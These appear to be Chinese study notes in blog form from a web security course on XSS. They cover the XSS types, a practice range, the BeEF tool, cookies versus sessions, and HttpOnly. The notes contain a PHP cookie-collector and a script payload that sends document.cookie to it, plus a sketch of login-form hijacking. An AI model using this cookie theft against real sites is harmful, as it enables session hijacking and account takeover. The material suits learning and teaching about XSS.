小迪-xss跨站原理和攻击


XSS跨站之原理分析和攻击方法

原理

XXS漏洞产生原理:变量接收数据的时候,可以写成类似js脚本,对方将这个代码回显操作,因为是js代码,可以在网页显示执行出来。 产生在前端。输出类函数造成的,通过js代码实现。

前提条件:浏览器版本是否支持

分类

pikachu靶场

反射型(非持续性):

发包 x=xiaodi > x.php >回显

存储型(持续性):

发包 x=xiaodi > x.php >写到数据库某个表 >x.php >回显

DOM型:发包 x=xiaodi >本地浏览器静态前端代码> x.php >回显

属于前端js代码进行处理

代码在操作时的属性。前端语言,

参数传递:与后端语言打交道,地址会改变

dom树:html语言,

利用XSS平台

跨站工具:beef

cookie:用户凭据,通过凭据可以判断对方身份信息。存储在本地的,存活时间较长,小网站会用

session:会话,存储在服务器,存活时间较短,大型的较安全的会使用

XSS跨站之订单

**工具:postman **实现自定义抓包

document.cookie

获取cookie的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$cookie=$_GET['c'];

$myfile=fopen("cookie",'w');

fwrite($myfile,$cookie);

fclose($myfile);

?> 假如这个文件名是 jieshou.php



<?php

$cookie=$_GET['c'];

?>

<script src=http://127.0.0.1/jieshou.php?c=‘+docunment.cookie’> <script>
手写获取cookie

WEBSHELL箱子管理系统
如何判定一个文件有没有后门
  • 如果是脚本 ,搭建一下,看是否有发送到别的地址
  • 程序的话,抓包一下进程

XXS利用条件

  • 留言板、评论区、订单系统、反馈条件。
  • 如果用了session,跨站平台接收不到session,是登录不了后台的,

如何解决?:利用beef让对方去访问phpinfo地址,再结合跨站平台 获取网站源码,

XSS跨站之代码及httponly绕过
  • httponly:cookie中设置了这个属性,通过js脚本将无法获取cookie信息,可以防止xss攻击
1
2
3
4
5
6
7
登陆后台的方法:cookie或账号密码

账号密码分为保存和未保存

保存读取:xss平台里,然后查看网站源代码,修改需要配置的参数

不保存读取(表单截取):前提条件:需要在登录框处有跨站漏洞,利用表单劫持

文章作者: John Doe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 John Doe !
  目录